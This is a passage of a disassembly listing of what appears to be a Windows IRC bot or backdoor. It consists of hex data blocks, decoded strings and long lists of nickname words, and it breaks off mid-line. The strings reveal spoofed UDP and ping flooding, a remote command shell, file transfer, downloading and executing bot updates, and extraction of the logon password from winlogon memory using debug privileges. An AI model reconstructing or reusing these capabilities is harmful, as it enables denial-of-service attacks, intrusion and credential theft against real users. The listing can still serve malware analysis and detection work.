234032Dh, 67726174h, 3023361h, 6F44202Dh, 7720656Eh dd 20687469h, 6F6F6C66h, 2E64h, 234032Dh, 2706374h, 44202D03h dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch dd 2Eh, 234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h dd 65677261h, 50492074h, 2Eh, 234032Dh, 2706374h, 45202D03h dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h dd 3A64656Eh, 64253C20h, 2E3Eh, 234032Dh, 6E757374h, 2696D61h dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 53202D03h dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h dd 0 dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 45202D03h dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 46202D03h dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh dd 234032Dh, 64736977h, 75286D6Fh, 2297064h, 49202D03h dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh dd 2297064h, 45202D03h, 726F7272h, 6C616320h, 676E696Ch dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h dd 2E642520h, 0 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 69h, 73h, 64h db 6Fh ; o db 6Dh, 28h, 75h db 64h ; d db 70h, 29h, 2 db 3 aErrorCallingSo db '- Error calling socket().',0 align 4 db 2Dh ; - db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aDoneWithFloodP db 'Done with flood, ports hit: %s',0 align 4 aSD db '%s%d ',0 align 4 dword_437EDC dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA XREF: sub_415CC0+35o dword_437EF0 dd 234032Dh, 61696C61h, 696C2073h, 3027473h, 2Dh ; DATA XREF: sub_415CC0+10o a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_415D38+60o align 4 dword_437F28 dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h ; DATA XREF: sub_415DD8:loc_415E0Do dword_437F3C dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h ; DATA XREF: sub_415DD8+20o dword_437F50 dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h ; DATA XREF: ___:00415F27o dd 6574656Ch, 0 dword_437F6C dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h ; DATA XREF: ___:00415E8Ao dd 676E6974h, 0 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToSendTo db '- failed to send to Remote command shell',0 align 4 db 2Dh ; - db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenRe db '- failed to open remote command shell',0 align 4 unk_437FEC db 2Dh ; - ; DATA XREF: ___:004162BEo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToOpenSo db '- failed to open socket',0 align 10h dword_438010 dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h ; DATA XREF: ___:00416523o ; ___:004166B9o dd 726F72h unk_438028 db 2Dh ; - ; DATA XREF: ___:004164BBo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileSSentToSSB db '- file %s sent to %s (%s bytes).',0 align 4 unk_438054 db 2Dh ; - ; DATA XREF: ___:004163C3o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aUnableToOpenSo db '- unable to open socket',0 align 4 dword_438078 dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h ; DATA XREF: ___:0041638Co dd 74756Fh dword_438090 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h ; DATA XREF: ___:0041632Bo dd 169h unk_4380A8 db 2Dh ; - ; DATA XREF: ___:004162E8o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFileDoesnTExis db '- file doesn',27h,'t exist',0 align 4 unk_4380C8 db 2Dh ; - ; DATA XREF: ___:00416243o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToBindTo db '- failed to bind to socket',0 unk_4380EC db 2Dh ; - ; DATA XREF: ___:00416205o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aFailedToCrea_2 db '- failed to create socket',0 align 10h unk_438110 db 2Dh ; - ; DATA XREF: ___:00416734o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aReceivedSFromS db '- received %s from %s (%s bytes).',0 align 4 unk_43813C db 2Dh ; - ; DATA XREF: ___:0041662Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningSo db '- error opening socket',0 unk_43815C db 2Dh ; - ; DATA XREF: ___:0041660Eo db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorOpeningFi db '- error opening file for writing',0 align 4 aAB db 'a+b',0 ; DATA XREF: ___:004165FAo unk_43818C db 2Dh ; - ; DATA XREF: ___:004165E6o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aErrorUnableToW db '- error unable to write file to disk',0 align 4 unk_4381BC db 2Dh ; - ; DATA XREF: ___:00416C33o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aBadUrlOrDnsErr db 'bad url or dns error at %s.',0 unk_4381E8 db 2Dh ; - ; DATA XREF: ___:00416C25o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aUpdateFailedEr db 'update failed, error executing %s',0 align 4 unk_43821C db 2Dh ; - ; DATA XREF: ___:00416B69o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fk db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0 align 10h dword_438260 dd 234032Dh, 6E776F64h, 64616F6Ch, 202D0302h, 6E65706Fh ; DATA XREF: ___:00416AF8o dd 25206465h, 73h unk_43827C db 2Dh ; - ; DATA XREF: ___:00416A81o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloaded_1fK db 'downloaded %.1f KB to %s @ %.1f KB/sec',0 align 4 unk_4382B4 db 2Dh ; - ; DATA XREF: ___:00416A02o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongCrcDD_ db 'wrong crc (%d != %d).',0 align 4 unk_4382DC db 2Dh ; - ; DATA XREF: ___:00416978o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aWrongFilesizeD db 'wrong filesize (%d != %d).',0 align 4 unk_438308 db 2Dh ; - ; DATA XREF: ___:00416935o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aGotUpdateSDkb_ db 'got update %s (%dKB).',0 align 10h unk_438330 db 2Dh ; - ; DATA XREF: ___:00416923o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadedSDkb db 'downloaded %s (%dKB)',0 align 4 unk_438358 db 2Dh ; - ; DATA XREF: ___:00416817o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aCouldnTOpenF_0 db 'couldn',27h,'t open file: %s',0 align 10h aUnknown db 'Unknown',0 ; DATA XREF: sub_416D48:loc_416D8Bo ; sub_419443+10Ao aInvalid db 'Invalid',0 ; DATA XREF: sub_416D48:loc_416D85o aDisk db 'Disk',0 ; DATA XREF: sub_416D48:loc_416D7Fo align 4 aNetwork db 'Network',0 ; DATA XREF: sub_416D48:loc_416D79o aCdrom db 'Cdrom',0 ; DATA XREF: sub_416D48:loc_416D73o align 4 off_4383A8 dd offset word_4D4152 ; DATA XREF: sub_416D48:loc_416D6Do word_4383AC dw 3Fh ; DATA XREF: sub_416D48+1Fo ; sub_41AF8F:loc_41B091r align 10h aFailed db 'failed',0 ; DATA XREF: sub_416DD9:loc_416EB7o ; sub_416EFD+3Bo align 4 aSkb db '%sKB',0 ; DATA XREF: sub_416DD9+6Co align 10h unk_4383C0 db 2Dh ; - ; DATA XREF: sub_416EFD+8Eo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSSTotalS db '%s drive (%s): %s total, %s free, %s available',0 align 4 unk_4383FC db 2Dh ; - ; DATA XREF: sub_416EFD+58o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aSDriveSFailedT db '%s drive (%s): failed to stat, device not ready',0 off_438438 dd offset byte_5C3A41 ; DATA XREF: sub_416FCF:loc_417014o db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h db 66h ; f db 6Fh, 75h, 6Eh db 64h ; d db 20h, 25h, 64h db 20h aFiles db 'files',0 align 4 db 2Dh ; - db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingFor_0 db 'searching for file %s',0 align 4 dd 234032Dh, 646E6966h, 656C6966h, 202D0302h, 6E756F66h dd 73252064h, 73255Ch, 2A5C7325h, 0 unk_4384A8 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41743Ao db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aFailedToEnable db 'failed to enable debug privilege',0 align 4 unk_4384DC db 2Dh ; - ; DATA XREF: sub_4172C1:loc_41740Do db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindWi db 'unable to find winlogon pid',0 unk_438508 db 2Dh ; - ; DATA XREF: sub_4172C1:loc_417406o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aUnableToFindTh db 'unable to find the password in memory',0 align 10h unk_438540 db 2Dh ; - ; DATA XREF: sub_4172C1+117o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h db 57h ; W db 69h, 6Eh, 4Ch db 6Fh ; o db 67h, 6Fh, 6Eh db 20h db 49h, 6Eh, 66h db 6Fh ; o db 72h, 6Dh, 61h db 74h ; t db 69h, 6Fh, 6Eh db 20h db 28h, 50h, 49h db 44h ; D db 20h, 25h, 64h db 29h ; ) db 20h, 2Dh, 20h db 2 db 44h, 6Fh, 6Dh db 61h ; a db 69h, 6Eh, 2 db 3Ah ; : db 20h, 2 dup(5Ch) db 25h ; % db 53h, 2Ch, 20h db 2 db 55h, 73h, 65h db 72h ; r db 2, 3Ah, 20h aSNoPassword_ db '(%S/(no password)).',0 off_43859C dd offset byte_530055 ; DATA XREF: sub_4172C1+DCo dd offset byte_520045 dd offset dword_4F0044 dd offset loc_41004C+1 dd offset byte_4E0049 dd 0 off_4385B4 dd offset byte_530055 ; DATA XREF: sub_4172C1+CEo dd offset byte_520045 dd offset loc_41004C+2 dd offset byte_45004D align 8 aRtlrundecodeun db 'RtlRunDecodeUnicodeString',0 ; DATA XREF: sub_4172C1+9Ao align 4 aRtldestroyquer db 'RtlDestroyQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+8Do align 10h aRtlqueryproces db 'RtlQueryProcessDebugInformation',0 ; DATA XREF: sub_4172C1+80o aRtlcreatequery db 'RtlCreateQueryDebugBuffer',0 ; DATA XREF: sub_4172C1+73o align 4 aNtquerysystemi db 'NtQuerySystemInformation',0 ; DATA XREF: sub_4172C1+68o align 4 aNtdll_dll db 'NTDLL.DLL',0 ; DATA XREF: sub_4172C1+55o align 4 aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4172C1+40o ; sub_4172C1+161o ... align 4 unk_438678 db 2Dh ; - ; DATA XREF: sub_4172C1+35o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 70h ; p db 61h, 2 dup(73h) db 2 db 3, 2Dh, 20h aOnlySupportedO db 'only supported on winnt/win2k',0 align 4 aMsgina db 'MSGINA',0 ; DATA XREF: sub_417493+13Eo align 10h aNwgina db 'NWGINA',0 ; DATA XREF: sub_417493+123o align 4 aWinlogon db 'WINLOGON',0 ; DATA XREF: sub_417493+AFo align 4 dword_4386C4 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_4178F9+70o ; sub_417990+C7o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 295325h dword_438714 dd 234032Dh, 646E6966h, 73736170h, 202D0302h, 4C6E6957h ; DATA XREF: sub_417990+E1o dd 6E6F676Fh, 666E4920h, 616D726Fh, 6E6F6974h, 49502820h dd 64252044h, 202D2029h, 6D6F4402h, 26E6961h, 5C5C203Ah dd 202C5325h, 65735502h, 203A0272h, 2F532528h, 412F4E28h dd 2929h off_438768 dd offset aQ ; DATA XREF: sub_417E84+5Cr ; "q" ; --------------------------------------------------------------------------- sbb [ebx-4E77FFBDh], dl inc edx add [eax+1C0042C6h], ah mov byte ptr [edx+0], 14h xchg eax, ebx inc ebx add al, dl scasd inc edx add [eax-3Ah], dh inc edx add [edi+ebp*4-4DE7FFBEh], ch inc edx add [eax-3Ah], bh inc edx add [eax], dl xchg eax, ebx inc ebx add [ebx+edx*4], cl inc ebx add [eax], cl xchg eax, ebx inc ebx add [ebx+edx*4], al inc ebx add [edi+esi*4+42h], bh add ah, ch retf 42h ; --------------------------------------------------------------------------- dd offset dword_439300 ; --------------------------------------------------------------------------- cld xchg eax, edx inc ebx add al, bh xchg eax, edx inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- dd offset aV ; "v" dd offset dword_4392F4 dd offset aN ; "n" dd offset aM ; "m" dd offset dword_4392F0 dd offset dword_4392EC dd offset dword_4392E8 dd offset dword_4392E4 dd offset dword_4392E0 dd offset word_4392DC dd offset dword_4392D8 dd offset aI_0 ; "I" dd offset dword_4392D4 dd offset dword_4392D0 dd offset aA_0 ; "A" dd offset dword_4392CC dd offset dword_4392C8 dd offset dword_4392C4 dd offset dword_4392C0 dd offset dword_4392BC dd offset dword_4392B8 dd offset dword_4392B4 dd offset dword_4392B0 dd offset dword_4392AC dd offset dword_4392A8 dd offset dword_4392A4 dd offset dword_4392A0 dd offset dword_43929C dd offset word_439298 dd offset aM_0 ; "M" dd offset aSmartmir ; "SMARTMIR" dd offset aFarooq ; "farooq" dd offset aMaxxguy ; "maxxguy" dd offset aBobmarley ; "BOBMARLEY" dd offset aEmilya ; "emilya" dd offset aKrizha ; "KRIZHA" dd offset aCar1nna ; "Car1nna" dd offset aSwin ; "swin" dd offset aMale ; "male" dd offset aKoko ; "koko" dd offset aFlexster ; "flexster" dd offset aKen ; "ken" dd offset aShez ; "Shez" dd offset aTalika ; "talika" dd offset aMarcy ; "marcy" dd offset aCme ; "cme" dd offset aHeval ; "heval" dd offset aBunty ; "bunty" dd offset aJanno ; "janno" dd offset aRimpy ; "rimpy" dd offset aNastysha ; "nastysha" dd offset aLuisa ; "Luisa" dd offset aTroller ; "troller" dd offset aManee ; "manee" dd offset aKermit ; "kermit" dd offset aPuregold ; "puregold" dd offset aCoredump ; "CoreDump" dd offset aImra ; "imra" dd offset aGirl ; "GirL" dd offset aCamel ; "CAMEL" dd offset aReshma ; "reshma" dd offset aKencing ; "Kencing" dd offset aThr45h3r5 ; "THR45H3R5" dd offset aCansuuuu ; "cansuuuu" dd offset aKaan38dent ; "kaan38dent" dd offset aErkan27 ; "erkan27" dd offset aHexaaa ; "hexaaa" dd offset aBerk19 ; "berk19" dd offset aObenibisevse ; "OBeNiBiSeVSe" dd offset aIrmal ; "irmal" dd offset aMisssunday ; "misssunday" dd offset aTolga34 ; "Tolga34" dd offset aJericho ; "JERICHO" dd offset aMary_0 ; "MARY" dd offset aAkin ; "AKIN" dd offset aMelekk ; "melekk" dd offset aTrend3 ; "trend3" dd offset aMERVE ; "M-E-R-V-E" dd offset aTekir ; "tekir" dd offset aVenedik34 ; "venedik34" dd offset aSevmekmi ; "sevmekmi" dd offset aSudenur ; "SUDENUR" dd offset aArzu ; "ARZU" dd offset aHaticem ; "haticem" dd offset aErnesto ; "ERNESTO" dd offset aAslii ; "aslii" dd offset aPiramit ; "PIRAMIT" dd offset aSamyeli21 ; "samyeli21" dd offset aRetg ; "RETG" dd offset aBlackpearl ; "blackpearl" dd offset aPelincik ; "pelincik" dd offset aAhmet ; "ahmet" dd offset aTurkyy ; "turkyy" dd offset aAnk32m ; "ank32m" dd offset aZack ; "ZACK" dd offset aIzmir39m ; "Izmir39m" dd offset aAlbina ; "albina" dd offset dword_439030 dd offset off_43902C dd offset aAnkh ; "ankh" dd offset aDonjuanm ; "Donjuanm" dd offset aBogac ; "bogac" dd offset aAlpay34m ; "alpay34m" dd offset aCongueror ; "CoNGuERoR" dd offset aDenizlim ; "DenizliM" dd offset aBerk19m ; "Berk19m" dd offset aDevran ; "devran" dd offset aArda ; "arda" dd offset aKeyiflisert ; "keyifliSERT" dd offset aMurat34M ; "murat34-m" dd offset aHakan3 ; "hakan3" dd offset aImirzali ; "IMIRZALI--" dd offset aRamtha ; "RAMTHA" dd offset aEmre ; "Emre--" dd offset aElmaazyok ; "elmaazyok" dd offset aEsmerkiz ; "Esmerkiz" dd offset aKebikec ; "kebikec" dd offset aFlord ; "FLoRD" dd offset aHoly ; "holy" dd offset aMahinur ; "MAHINUR" dd offset aSadikaellesme ; "SaDIkaEllesme" dd offset aAykut1 ; "aykut1" dd offset aKashmira ; "Kashmira" dd offset aSeviseli ; "SeViSeLi" dd offset aSugarboy ; "SUGARBOY-" dd offset aUzgun36 ; "uzgun36" dd offset aKumul ; "kumul" dd offset aAdalim ; "ADALIM" dd offset aUmut ; "umut-" dd offset aAnk32M ; "ANK-32-M" dd offset aDjspace ; "DJSPACE" dd offset aAnkar ; "Ankar" dd offset aFenerlee ; "FeNeRLee" dd offset aHayran ; "hayran" dd offset aAngelgirl ; "angelgirl" dd offset aKapk ; "kapk" dd offset aAchilles ; "Achilles" dd offset aTegmen ; "TEGMEN" dd offset aKotan ; "kotan" dd offset aSevda ; "sevda" dd offset off_438E98 dd offset aAlcatras ; "alcatras" dd offset aA44m ; "a44m" dd offset aBirsen ; "birsen" dd offset aYabanc ; "yabanc" dd offset aDevre ; "devre" dd offset aErkan ; "erkan" dd offset aAnkm ; "ankM" dd offset aAdem28 ; "Adem28" dd offset aMaxsilla ; "maxsilla" dd offset aM41ist ; "M41IST" dd offset aAdamm33 ; "AdAMM33" dd offset aFirtina ; "firtina" dd offset aAta29 ; "Ata29" dd offset aKoray ; "KORAY" dd offset aAkden ; "akden" dd offset aIzmirlm ; "izmirlm" dd offset aUla ; "ula" dd offset aNeHaber ; "NE-HABER" dd offset aPassenger ; "passenger" dd offset aTropikal ; "tropikal" dd offset aCool30m ; "cool30m" dd offset aCem39 ; "cem39" dd offset aRerpjj ; "RERPJJ" dd offset aTeoman ; "TEOMAN```" dd offset aDallas43m ; "DALLAS43M" dd offset aPrometheus ; "prometheus" dd offset aMaveRIck ; "MaVe{R}icK" dd offset aAdamm ; "ADAMM" dd offset aCumhur29 ; "cumhur29" dd offset aWantedlove ; "WANTEDLOVE" off_438A68 dd offset aSex ; DATA XREF: sub_417E84+41r ; sub_417E84+ECr ; "sex" dd offset aLez ; "lez" dd offset aZex ; "zex" dd offset aTree ; "tree" dd offset aBad ; "bad" ; --------------------------------------------------------------------------- push 6000438Dh lea eax, [ebx+0] pop eax lea eax, [ebx+0] push eax lea eax, [ebx+0] dec eax lea eax, [ebx+0] inc eax lea eax, [ebx+0] cmp [ebp-72CFFFBDh], cl inc ebx add [eax], ch lea eax, [ebx+0] sbb al, 8Dh inc ebx add ds:8D0C0043h[ecx*4], dl inc ebx add [eax], cl lea eax, [ebx+0] add [ebp-6D0BFFBDh], cl inc ebx add al, dh retf 42h ; --------------------------------------------------------------------------- db 10h db 93h ; “ db 43h ; C db 0 db 88h ; ˆ db 0B1h ; ± db 42h ; B db 0 db 0Ch db 93h ; “ db 43h ; C db 0 db 8 db 93h ; “ db 43h ; C db 0 db 4 db 93h ; “ db 43h ; C db 0 db 70h ; p db 0C6h ; Æ db 42h ; B db 0 db 34h ; 4 db 0B9h ; ¹ db 42h ; B db 0 db 7Ch ; | db 0B7h ; · db 42h ; B db 0 db 0ECh ; ì db 0CAh ; Ê db 42h ; B db 0 dd offset dword_439300 dd offset aM ; "m" dd offset aN ; "n" dd offset aO ; "o" dd offset aP ; "p" dd offset aQ ; "q" dd offset aRs ; "rs" dd offset aT ; "t" dd offset aU ; "u" dd offset aV ; "v" dd offset dword_439318 dd offset dword_4392F8 dd offset dword_439314 dd offset dword_4392FC dd offset aHappy ; "happy" dd offset aRg ; "rg" dd offset aTy ; "ty" dd offset aGf ; "gf" dd offset aRt ; "rt" dd offset aSdf ; "sdf" dd offset aUi ; "ui" dd offset aLuvy ; "luvy" dd offset aTrimy ; "trimy" dd offset aTruck ; "truck" dd offset aMuckc ; "muckc" dd offset dword_4392FC dd offset dword_439308 dd offset aS_0 ; "s" dd offset aQ ; "q" dd offset off_438CB8 dd offset aBbl ; "|bbl" dd offset byte_43DB88 dd offset byte_43DB88 dd offset a___0 ; "_|_" dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392C4 dd offset aM_0 ; "M" dd offset aLuvu ; "LUVU" dd offset aSad ; "Sad" dd offset aF_2 ; "^^^f^" dd offset dword_4392F4 dd offset byte_43DB88 dd offset aSleeping ; "Sleeping" dd offset byte_43DB88 dd offset byte_43DB88 dd offset aFuck_0 ; "Fuck" dd offset aFree ; "Free" dd offset byte_43DB88 dd offset byte_43DB88 dd offset dword_4392A8 dd offset byte_43DB88 dd offset off_438C78 dd offset aGirl_0 ; "GIRL" dd offset aGurl ; "gurl" dd offset aShit ; "shit" dd offset aAha ; "aha" dd offset aYeah ; "yeah" dd offset aMuha ; "muha" dd offset aMof0 ; "mof0" dd offset aMofo ; "mofo" dd offset dword_438C38 dd offset dword_438C34 dd offset dword_438C2C dd offset dword_438C20 dd offset dword_438C18 dd offset dword_438C10 dd offset dword_438C08 dd offset dword_438C04 dd offset dword_438C00 dword_438C00 dd 7536h ; DATA XREF: ___:00438BFCo dword_438C04 dd 7535h ; DATA XREF: ___:00438BF8o dword_438C08 dd 7C75347Ch, 0 ; DATA XREF: ___:00438BF4o dword_438C10 dd 6F79347Bh, 7D75h ; DATA XREF: ___:00438BF0o dword_438C18 dd 7375347Ch, 7Ch ; DATA XREF: ___:00438BECo dword_438C20 dd 7865737Ch, 65726634h, 7C65h ; DATA XREF: ___:00438BE8o dword_438C2C dd 6F6C6F6Ch, 7C617Ch ; DATA XREF: ___:00438BE4o dword_438C34 dd 6C6F6Ch ; DATA XREF: ___:00438BE0o dword_438C38 dd 746F74h ; DATA XREF: ___:00438BDCo aMofo db 'mofo',0 ; DATA XREF: ___:00438BD8o align 4 aMof0 db 'mof0',0 ; DATA XREF: ___:00438BD4o align 4 aMuha db 'muha',0 ; DATA XREF: ___:00438BD0o align 4 aYeah db 'yeah',0 ; DATA XREF: ___:00438BCCo align 4 aAha db 'aha',0 ; DATA XREF: ___:00438BC8o aShit db 'shit',0 ; DATA XREF: ___:00438BC4o align 4 aGurl db 'gurl',0 ; DATA XREF: ___:00438BC0o align 10h aGirl_0 db 'GIRL',0 ; DATA XREF: ___:00438BBCo align 4 off_438C78 dd offset word_594F42 ; DATA XREF: ___:00438BB8o aFree db 'Free',0 ; DATA XREF: ___:00438BA4o align 4 aFuck_0 db 'Fuck',0 ; DATA XREF: ___:00438BA0o align 4 aSleeping db 'Sleeping',0 ; DATA XREF: ___:00438B94o align 4 aF_2 db '^^^f^',0 ; DATA XREF: ___:00438B88o align 10h aSad db 'Sad',0 ; DATA XREF: ___:00438B84o aLuvu db 'LUVU',0 ; DATA XREF: ___:00438B80o align 4 a___0 db '_|_',0 ; DATA XREF: ___:00438B64o aBbl db '|bbl',0 ; DATA XREF: ___:00438B58o align 4 off_438CB8 dd offset loc_425240+2 ; DATA XREF: ___:00438B54o aMuckc db 'muckc',0 ; DATA XREF: ___:00438B40o align 4 aTruck db 'truck',0 ; DATA XREF: ___:00438B3Co align 4 aTrimy db 'trimy',0 ; DATA XREF: ___:00438B38o align 4 aLuvy db 'luvy',0 ; DATA XREF: ___:00438B34o align 4 aUi db 'ui',0 ; DATA XREF: ___:00438B30o align 10h aSdf db 'sdf',0 ; DATA XREF: ___:00438B2Co aRt db 'rt',0 ; DATA XREF: ___:00438B28o align 4 aGf db 'gf',0 ; DATA XREF: ___:00438B24o align 4 aTy db 'ty',0 ; DATA XREF: ___:00438B20o align 10h aRg db 'rg',0 ; DATA XREF: ___:00438B1Co align 4 aHappy db 'happy',0 ; DATA XREF: ___:00438B18o align 4 aRs db 'rs',0 ; DATA XREF: ___:00438AF8o align 10h aQ8A db '|q8|a',0 align 4 aQ8 db 'Q8',0 align 4 aSick db 'sick}}',0 align 4 aWiked db '|wiked|',0 aLuvuF db '||luvu-f|',0 align 4 aGens db '{gens|',0 align 10h aSex_0 db '{sex}',0 align 4 aHub db '{hub}',0 align 10h aLuck db '|luck|',0 align 4 aSuck db '|suck|',0 align 10h aTot db '-|tot|',0 align 4 aWoh db '|woh|',0 align 10h aTambe db '|tambe|',0 aLag db 'lag',0 aBad db 'bad',0 ; DATA XREF: ___:00438A78o aTree db 'tree',0 ; DATA XREF: ___:00438A74o align 4 aZex db 'zex',0 ; DATA XREF: ___:00438A70o aLez db 'lez',0 ; DATA XREF: ___:00438A6Co aWantedlove db 'WANTEDLOVE',0 ; DATA XREF: ___:00438A64o align 4 aCumhur29 db 'cumhur29',0 ; DATA XREF: ___:00438A60o align 4 aAdamm db 'ADAMM',0 ; DATA XREF: ___:00438A5Co align 10h aMaveRIck db 'MaVe{R}icK',0 ; DATA XREF: ___:00438A58o align 4 aPrometheus db 'prometheus',0 ; DATA XREF: ___:00438A54o align 4 aDallas43m db 'DALLAS43M',0 ; DATA XREF: ___:00438A50o align 4 aTeoman db 'TEOMAN```',0 ; DATA XREF: ___:00438A4Co align 10h aRerpjj db 'RERPJJ',0 ; DATA XREF: ___:00438A48o align 4 aCem39 db 'cem39',0 ; DATA XREF: ___:00438A44o align 10h aCool30m db 'cool30m',0 ; DATA XREF: ___:00438A40o aTropikal db 'tropikal',0 ; DATA XREF: ___:00438A3Co align 4 aPassenger db 'passenger',0 ; DATA XREF: ___:00438A38o align 10h aNeHaber db 'NE-HABER',0 ; DATA XREF: ___:00438A34o align 4 aUla db 'ula',0 ; DATA XREF: ___:00438A30o aIzmirlm db 'izmirlm',0 ; DATA XREF: ___:00438A2Co aAkden db 'akden',0 ; DATA XREF: ___:00438A28o align 10h aKoray db 'KORAY',0 ; DATA XREF: 